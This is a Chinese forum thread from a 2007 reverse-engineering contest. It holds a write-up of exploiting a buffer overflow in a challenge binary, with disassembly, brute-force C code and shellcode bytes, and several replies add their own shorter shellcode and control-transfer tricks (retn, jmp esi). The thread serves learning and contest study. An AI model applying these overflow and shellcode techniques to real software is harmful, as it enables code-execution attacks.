首页
社区
课程
招聘
[原创]第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)
发表于: 2007-8-30 12:02 16318

[原创]第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)

2007-8-30 12:02
16318

第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)
By: aker

工具:OD
我的方法比较一般,很多大虾都是51字节的,希望向他们学习。这儿写下来是为了记住自己走过的一段历程。我在确定前八个字节上面花费的时间特别多,开始就是蠢方法,看里面很多代码不知道前后关系是什么,也难得看懂,就把代码挖出来,然后丢在自己机子上跑,自己看东西去了,一直到了晚上8点才想起是不是不可能跑出来,计算了下时间,发现根本不可能穷举出来。然后没办法,只好去看代码,但是rcl,sbb那几个指令那里我怎么都定不下心去看,看到那些数字也没有先计算下哪些是固定值,那些是根据输入变化的,不知道前后有什么耦合关系。而且也是自己的原因,自己看到数字在里面多了就觉得很烦。

下面是细节,从前面一步步跟下来,发现流程主要是这样的:

点击exploit后,程序读test.txt,读取大小,确保文件大于8,小于0x1000,在堆中分配文件大小+1个字节,读入文件存放到该缓冲区。这个过程中应该没有什么错误,各个环节的检查都比较严。然后关键的一段代码如下,从这段代码的调用情况来看,必须在该处处理fail字符串或者跳过下面的msgbox调用,否则就出现fail字样的窗口,基本可以确定,关键的地方就在这个函数(0040037E)里面。

0040037C   |.  50                  push eax                                     ;  文件大小
0040037D   |.  56                  push esi                                     ;  文件开始地址
0040037E   |.  E8 FDFEFFFF         call ExploitM.00400280                       ;  溢出操作
00400383   |.  59                  pop ecx
00400384   |.  59                  pop ecx
00400385   |>  57                  push edi                                     ; /Style
00400386   |.  68 68024000         push ExploitM.00400268                       ; |Title = "Try"
0040038B   |.  68 60024000         push ExploitM.00400260                       ; |Text = "Failed!"
00400390   |.  57                  push edi                                     ; |hOwner
00400391   |.  FF15 4C024000       call dword ptr ds:[<&USER32.MessageBoxA>]    ; \MessageBoxA
 
00400280   /$  55                  push ebp
00400281   |.  8BEC                mov ebp,esp
00400283   |.  83EC 2C             sub esp,2C                                   ;  分配2c的栈空间
00400286   |.  8065 D4 00          and byte ptr ss:[ebp-2C],0                   ;  置栈顶字节为0
…………………………
0040029F   |.  8B75 08             mov esi,dword ptr ss:[ebp+8]                 ;  esi = 数据起点
004002A2   |.  68 A802CC78         push 78CC02A8
004002A7   |.  68 1B8F9469         push 69948F1B
004002AC   |.  FF76 04             push dword ptr ds:[esi+4]                    ;  起点的第四个字节开始的双字
004002AF   |.  FF36                push dword ptr ds:[esi]                      ;  读取数据的起点
004002B1   |.  E8 0A030000         call ExploitM.004005C0
004002B6   |.  68 82FFE65B         push 5BE6FF82
004002BB   |.  68 854716A5         push A5164785
004002C0   |.  52                  push edx                                     ;  计算的余数 + 低32位和
004002C1   |.  50                  push eax                                     ;  第三*第一的低32位
004002C2   |.  E8 79020000         call ExploitM.00400540
004002C7   |.  6A 04               push 4
004002C9   |.  8BCE                mov ecx,esi                                  ;  ecx = esi
004002CB   |.  5F                  pop edi                                      ;  edi = 4
004002CC   |>  8031 1C             /xor byte ptr ds:[ecx],1C                    ;  对数据开始8个字节异或;跳转
004002CF   |.  8A11                |mov dl,byte ptr ds:[ecx]
004002D1   |.  3051 01             |xor byte ptr ds:[ecx+1],dl
004002D4   |.  41                  |inc ecx
004002D5   |.  41                  |inc ecx
004002D6   |.  4F                  |dec edi
004002D7   |.^ 75 F3               \jnz short ExploitM.004002CC
for(int i =0;i<8; i+=2)
{
	str[i] ^= 1c;
	str[i+1] ^= str[i];
}
004002D9   |.  6A 1A               push 1A
004002DB   |.  59                  pop ecx                                      ;  ecx = 1ah
004002DC   |.  2BC8                sub ecx,eax                                  ;  1a-eax;//关键就是这个eax
004002DE   |.  0FAFC8              imul ecx,eax                                 ;  (1a-eax)*eax
004002E1   |.  81E9 9C000000       sub ecx,9C                                   ;  ecx -= 9c;
 
(0x1a-x)*x -0x9c = k+/-0x100000000 * i (i = 0,1,2...)
x=13(+/-) (52-4k)^0.5

[注意]APP应用上架合规检测服务,协助应用顺利上架!

收藏
免费 7
支持
分享
最新回复 (22)
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
那两个函数分别是:
__allmul
__allrem
int64类型的*, %
2007-8-30 12:10
0
雪    币: 2134
活跃值: (14)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
3
刚刚不懂大虾指点了一下,才知道,我没有从整体上去想,呵呵呵呵呵呵
2007-8-30 12:12
0
雪    币: 264
活跃值: (30)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
4
沙发,抢到了,我就死在那硬件编码上!!!经过那两个Call能算出EAX值为0xD
2007-8-30 12:16
0
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
5
unsigned __int64 initVar = 0;
        unsigned __int64 divisor;
        divisor = initVar * 0x78CC02A869948F1B;
        unsigned __int64 dividend = 0x5BE6FF82A5164785;
        int result = divisor % dividend;
“汇编除法”~估计。放到VC8中 编译一下然后反汇编 会发现奇妙的东西。:)
另外希望搂主描述一下穷举过程~~~偶就是这里失败了。谢谢。
另外不知道楼主调到构造堆是用的 JMP esi 还是retn的方法~?或者其他~学一下先。小生愚钝。
2007-8-30 12:17
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
6
真详细,学习一下
2007-8-30 12:23
0
雪    币: 264
活跃值: (30)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
7
eax值为0x211BB34算出的ecx是0x1C个DWORD不是盖的太多了,应该算出EAX为0xD算出的ecx才为0xD只要13个DWORD就OK了
2007-8-30 12:23
0
雪    币: 2134
活跃值: (14)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
8
昨天我穷举用的这个,反过来的

int main(int argc, char *argv[])
{
UINT64 i;
for (i = 0; i<0xffffffff; i++)
if((unsigned)((i*0x69948F1B) + ~0xd+1)%0xA5164785 ==0 ) 
    printf("%x\n",i);
    return 0;
}



~0xd+1这个地方可以根据我上面介绍的方法修改.这个能得到一个跳转,就是题目中的这个,
另外在i变化的时候有其他的

跳转你可以看我代码里面的opcode,我用的retn,
jmp esi也可以,在里面搜索该opcode, 发现只有一个,而且是在操作数里面的;)))
2007-8-30 12:26
0
雪    币: 264
活跃值: (30)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
9
第二个call中调用了div ebx,后面利用他算出来的商数跟三参和四参计算得到eax和edx
div后的商数就3种情况0、1、2
#include<iostream.h>
int _stdcall l(int i);
void main()
{
        int value=0;
        for(int i=0;i<=0xFFFFFFFF;i++)
        {
                value=l(i);
                if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)//因为就三种情况
                {
                        cout<<i<<endl;
                        return;
                }
        }
}
int _stdcall l(int i)
{
        return 0x69948F1B*i;
}

第二个call出来的eax我个人认为要是0xD,正好盖掉返回值处
2007-8-30 12:29
0
雪    币: 5340
活跃值: (598)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
10
本来想&0xFFFFFFFFFFFFFFF,但怕大家失去溢出的乐趣,就改成了& 0xFFFFFFFF ,让大家可以用穷举过第一关.有兴趣的人可以考虑一下如果是&0xFFFFFFFFFFFFFFF应该怎么玩,怎么获得0xD,嘿嘿
2007-8-30 13:16
0
雪    币: 120
活跃值: (58)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
用穷举只解出一个,卡住了。后来才发现有其他解。数论方面的知识忘记了。
2007-8-30 13:45
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习学习再学习!
2007-8-30 16:22
0
雪    币: 8209
活跃值: (4528)
能力值: ( LV15,RANK:2473 )
在线值:
发帖
回帖
粉丝
13
你这么一简化害的我两次-5
如果是0xFFFFFFFFFFFFFFF我就死心塌地多花点时间去计算了,会多得几分
2007-8-30 16:36
0
雪    币: 109
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
我用随机碰撞法,怎么每次都瞬间碰撞出来呢?
2007-8-30 21:27
0
雪    币: 105
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
什么叫随机碰撞法?不懂
我的程序撞了一晚上,第二天去一看安装更新,机器重启了
2007-8-30 21:58
0
雪    币: 209
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
你的机器很好,很强大...
2007-8-30 22:06
0
雪    币: 435
活跃值: (172)
能力值: ( LV13,RANK:280 )
在线值:
发帖
回帖
粉丝
17
我就是按照&0xFFFFFFFFFFFFFFF作的,可惜你没有那么出题
http://bbs.pediy.com/showthread.php?t=50725
2007-8-30 22:27
0
雪    币: 5340
活跃值: (598)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
18
[QUOTE='火翼[CCG];353226']我就是按照&0xFFFFFFFFFFFFFFF作的,可惜你没有那么出题
http://bbs.pediy.com/showthread.php?t=50725[/QUOTE]

是呀,担心忘记的人太多,又是二阶一题不敢出的太难了,万一最后弄得做出的没几个,可能会影响大家的心情。不过这样,你可能会吃一点点亏
2007-8-30 23:13
0
雪    币: 13322
活跃值: (4317)
能力值: ( LV15,RANK:1673 )
在线值:
发帖
回帖
粉丝
19
这题偶一开始也走了弯路,前8字节一定要想跑个Jmp $+8出来...结果很惨,跑到第二天也没跑出来(最少也是个Jmp $+60)...后来才改用无关紧要的代码填充前8个字节....

另外,那个长度的二次方程的解并非只在 Eax 为 0d 时成立,而只需 Ax=0d 就可以了,这个能跑出更多的8字节代码.

偶的最短执行代码是0x21字节(当然整个长度还是要51字节才能正常溢出,最后要有一个指向RETN的地址):
00B60000    A9 9A5D5D1C     test    eax, 1C5D5D9A
00B60005    24 49                 and     al, 49
00B60007    49                      dec     ecx
00B60008    B8 4F4B2100     mov     eax, 214B4F
00B6000D    A3 60024000     mov     dword ptr [400260], eax
00B60012    A3 68024000     mov     dword ptr [400268], eax
00B60017    8D6C24 1C        lea     ebp, dword ptr [esp+1C]
00B6001B    68 84034000     push    400384
00B60020    C3                      retn
2007-8-30 23:48
0
雪    币: 6051
活跃值: (1441)
能力值: ( LV15,RANK:1473 )
在线值:
发帖
回帖
粉丝
20
楼主的代码,为什么要在最后用
003E007E    \8BC6                  mov eax,esi
003E0080     05 34000000           add eax,34
003E0085     FFE0                  jmp eax
这种形式?

你既然是从前面跳过来的,为什么不直接再跳回去?在这地方写代码是会增加文件长度的啊

我用的就是
00CE007E  ^\EB 8C           jmp     short 00CE000C
回跳代码是跨系统的,呵呵~

顺便把其他代码也贴上吧:
00CE000C    8D46 08         lea     eax, dword ptr [esi+8]
00CE000F    83C4 04         add     esp, 4
00CE0012    6A 00           push    0
00CE0014    50              push    eax
00CE0015    50              push    eax
00CE0016    6A 00           push    0
00CE0018    8D6C24 28       lea     ebp, dword ptr [esp+28]
00CE001C    B8 91034000     mov     eax, 400391
00CE0021    FFE0            jmp     eax

另外我感觉我的水平和你差不多,第一天时间就花在穷举上了,然后发现穷举是不可能的,就逆向分析,第二个CALL出来后要求EAX=XXXX000D,再观察发现:如果第一个CALL后EDX=5BE6FF82,那么第二个CALL就没用了(就是说经过第二个CALL后EAX值不变)!再逆推出第一个CALL前的8个字节就非常EASY了,呵呵~

不过这个过程是经过无数弯路后得出的,找到这个方法后用了2小时就搞定了。。。

这个解是很郁闷的,刚好第一条语句是jmp short 003E007E,导致长度最小只能到0x80也就是128字节。。。
2007-8-31 00:04
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
哈哈,最初我也是jmp $+8穷举了一晚上的
2007-8-31 00:09
0
雪    币: 1925
活跃值: (906)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
22
又出好文了,接到支持~~
2007-8-31 12:38
0
雪    币: 260
活跃值: (102)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
23
因为不太懂,就知道个jmp esp。
穷举是0xD来发现差一个字节,又费劲办法穷举出一个0x14来。
2007-8-31 20:42
0
游客
登录 | 注册 方可回帖
返回
// // 统计代码